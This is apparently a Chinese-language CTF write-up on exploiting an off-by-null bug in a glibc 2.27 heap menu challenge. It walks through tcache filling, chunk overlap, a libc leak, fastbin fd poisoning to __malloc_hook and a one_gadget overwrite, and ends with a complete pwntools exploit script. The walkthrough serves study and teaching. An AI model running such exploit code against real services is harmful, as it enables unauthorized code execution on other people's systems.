高版本Tcache+off-by-One(二)

程序的保护

感觉基本的大部分的heap题目都是全部开的。有时候要是他少了个保护,我都会感觉这题难到飞起。这题是18.04的环境也就是2.27。

f058a21f6cbe4a6ea67f97e142c4484f.png

分析伪c函数

main函数就是正常的菜单题,但是没有edit函数这就很烦人。

7431b927b42e40b8ac9e7cb268286b08.png

delete函数,我只能说它删的很干净,一点不给我机会(uaf)

1e15a6829cdf40eab5ed7e2d90958a82.png

show函数也很正常吧。

90571b06f75c43019439410765c68c1c.png

add函数里面的sub_BC8()和calloc值得我们注意一下,且申请的chunk大小不能大于0x100

ab2d9a45d8ba4a569bfd9d9cb0ac6fc0.png

sub_BC8函数是写入函数。但是呢,存在off-by-null

0a4e27df127d4b559895f39668fc45e4.png

下面说说那个calloc(v0, 1uLL),记得calloc不会从tcache中寻找合适的分配,只会从fast bin,small bin, unsorted bin来分配就行。

思路

利用那个off-by-null将堆重叠,通过unsortbins从而泄露libc地址。后面将chunk申请到__malloc_hook上面的方法似乎我是一步步调试出来的,不算具体什么方法。应该属于堆风水(随缘打法)但是成功了。

分析思路

1,万事开头难,第一步我当时也没搞对。但是吧,高版本libc有tcache一般都是后面慢慢调试更改的。先将后面会利用到的一定size的chunk对应的Tcache给填满。

for i in range(7):
    add(0xf0,'A')#0-6
    add(0x18,'aaaa')#7-13
    add(0xa0,'cccc')#14 - 20
    add(0x68,'t')#21 - 27

add(0xf8,'aaaa')#28
add(0x18,'aaaa')#29
add(0xf0,'cccc')#30
add(0x28,'dddd')#31

for i in range(28):
    free(i)#0-27被free掉了
#将上面将对应大小的tcache填满

点击并拖拽以移动

此时的bins

488481879b4a4cecb6ab8e944bde0af7.png

2,先将序号为28和29的chunk给free掉,再申请回来序号为29的chunk(因为先进后出)将序号为30的pre_size位修改为0x120(为序号28和29的size和),再通过off-by-one漏洞,将序号为30的size的低一字节改为”\x00”,再将其free掉就会造成堆重叠。

free(28)
free(29)
add(0x18,b'a'*0x10 + p64(0x120))#0
free(30)

点击并拖拽以移动

修改pre_size和size位。

e6557ee188ff4dbc8364a8fb8f506b9a.png

此时因为free机制,就会将这三个chunk合并free掉,总的size为0x220为这三个的和

d32b5e0b76654c7f9e8d69de434cd462.png

3,此时这个大的freechunk是再unsortbins里面的(因为tcache里面那三个小chunk对应的size已经被填满了),此时我们再将前面的序号为28的chunk给申请回来。因为程序使用的是calloc不会调用tcache里面的chunk,又因为unsortbins里面有chunk且大小够所以从中切割,不然从top_chunk里面切割。之后就会发现之前所覆盖的chunk里面被写上了unsortbins_addr,接下来show一下,就会泄露信息

add(0xf0,'aaaa')#1

show(0)

leak_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
main_arenas = leak_addr - 0x60
__malloc_hook = main_arenas - 0x10
libc_base = __malloc_hook - libc.sym["__malloc_hook"]
__free_hook = libc_base + libc.sym["__free_hook"]
fake_chunk = __malloc_hook - 0x23

log.info(f'leak_addr = {hex(leak_addr)}')
log.info(f'main_arenas = {hex(main_arenas)}')
log.info(f'__malloc_hook = {hex(__malloc_hook)}')
log.info(f'libc_base = {hex(libc_base)}')
log.info(f'__free_hook = {hex(__free_hook)}')
log.info(f'fake_chunk = {hex(fake_chunk)}')

点击并拖拽以移动

分割,往序号为0的chunk写入信息

03c8fcd6d8f44f908ed7bcccd2d0e2b9.png

这里的fake_chunk是我当时直接调试出来的位置。在__malloc_hook - 0x23位置

b55564ca6dcd46c4b1f039ba59575f0b.png

d91bdaa716b244d398970448d370503d.png

4,申请0x100的chunk,将前面的还处于unsortbins里面的chunk给申请出来。肯定有人和我一样疑惑为什么申请0x100就可以申请完了?那个chunk的size大小不是0x120嘛?但是您不能忘掉了,那个0x120是您自己伪造的,其实第三块chunk的大小就是0x100。在利用off-by-null和前面手法一样,只不过利用的size大小不一样(为了后面可以申请到fake_chunk处)。

add(0x100,'aaaa')#2

add(0xf8,'aaaa')#3,此时chunk_3和chunk_0重叠了,不能用double free
add(0x68,'bbbb')#4
add(0xf8,'cccc')#5
add(0x18,'aaaa')#6 隔离top chunk

free(3)
free(4)
add(0x68,b'a'*0x60 + p64(0x170))#3
free(5)

点击并拖拽以移动

5,此时,有点尴尬。序号为3的chunk其实被我们申请出来的。但是呢,它因为堆重叠,还在unsortbins里面。此时unsortbins里面其内存再开头处

4f5d9e12c4314981870d1c3b37ecd192.png

我们将序号为3的chunk给free掉,让其掉入fastbins里面。其也在unsortbins里面。是不是可以通过申请一个chunk来修改掉其fd指针从而可以伪造申请到我们所指定的位置

8c5c556d9ab7494b891bf9bdb64afa12.png

可以看到其之间相差0x100,因为我们不能直接申请0x100的chunk。所以通过两次申请chunk来修改fastbins里面chunk的fd指针。

free(3)#这一步导致其进入到fastbins里面
add(0xc0,'aaaa')#3
add(0x38,b'a'*0x20 + p64(0) + p64(0x71) + p64(fake_chunk))#4

点击并拖拽以移动

至于偏移啥的,都是自己调试计算出来的。但那个0x71是因为,你申请之后unsortbins还有chunk。你最好还是别动,因为我怕又报错。进而修改掉fastbins里面chunk的fd指针。使其指向fake_chunk位置

30f068e102774320b60cbfa748672d75.png

接下来就是申请过去,然后把__malloc_hook修改为one_gadget。

add(0x68,'a')
add(0x60,b'a'*0x13 + p64(oog[2] + libc_base))
add(0x20,'aaa')

点击并拖拽以移动

最后getshell

5252281a67554f09b56a2ffb48a232fa.png

exp
def exp():
    oog = [0x4f2be,0x4f2c5,0x4f322,0x10a38c]#2.27
    
    def choice(c):
        io.recvuntil(':')
        io.sendline(str(c))

    def add(size,content):
        choice(1)
        io.recvuntil(':')
        io.sendline(str(size))
        io.recvuntil(':')
        io.sendline(content)

    def show(idx):
        choice(2)
        io.recvuntil(':')
        io.sendline(str(idx))

    def free(idx):
        choice(3)
        io.recvuntil(':')
        io.sendline(str(idx))
    
    for i in range(7):
        add(0xf0,'A')#0-6
        add(0x18,'aaaa')#7-13
        add(0xa0,'cccc')#14 - 20
        add(0x68,'t')#21 - 27
    
    add(0xf8,'aaaa')#28
    add(0x18,'aaaa')#29
    add(0xf0,'cccc')#30
    add(0x28,'dddd')#31
    
    for i in range(28):
        free(i)#0-27被free掉了
    #将上面将对应大小的tcache填满

    free(28)
    free(29)
    add(0x18,b'a'*0x10 + p64(0x120))#0
    free(30)
    
    # add(0xc0,'aaaa')#1
    # add(0x20,'aaaa')#2
    add(0xf0,'aaaa')#1

    show(0)

    leak_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
    main_arenas = leak_addr - 0x60
    __malloc_hook = main_arenas - 0x10
    libc_base = __malloc_hook - libc.sym["__malloc_hook"]
    __free_hook = libc_base + libc.sym["__free_hook"]
    fake_chunk = __malloc_hook - 0x23

    log.info(f'leak_addr = {hex(leak_addr)}')
    log.info(f'main_arenas = {hex(main_arenas)}')
    log.info(f'__malloc_hook = {hex(__malloc_hook)}')
    log.info(f'libc_base = {hex(libc_base)}')
    log.info(f'__free_hook = {hex(__free_hook)}')
    log.info(f'fake_chunk = {hex(fake_chunk)}')

    add(0x100,'aaaa')#2

    add(0xf8,'aaaa')#3,此时chunk_3和chunk_0重叠了,不能用double free
    add(0x68,'bbbb')#4
    add(0xf8,'cccc')#5
    add(0x18,'aaaa')#6 隔离top chunk

    free(3)
    free(4)
    add(0x68,b'a'*0x60 + p64(0x170))#3
    free(5)
    
    free(3)#这一步导致其进入到fastbins里面
    add(0xc0,'aaaa')#3
    add(0x38,b'a'*0x20 + p64(0) + p64(0x71) + p64(fake_chunk))#4
    
    add(0x68,'a')
    add(0x60,b'a'*0x13 + p64(oog[2] + libc_base))
    add(0x20,'aaa')
exp()  
io.interactive()   

点击并拖拽以移动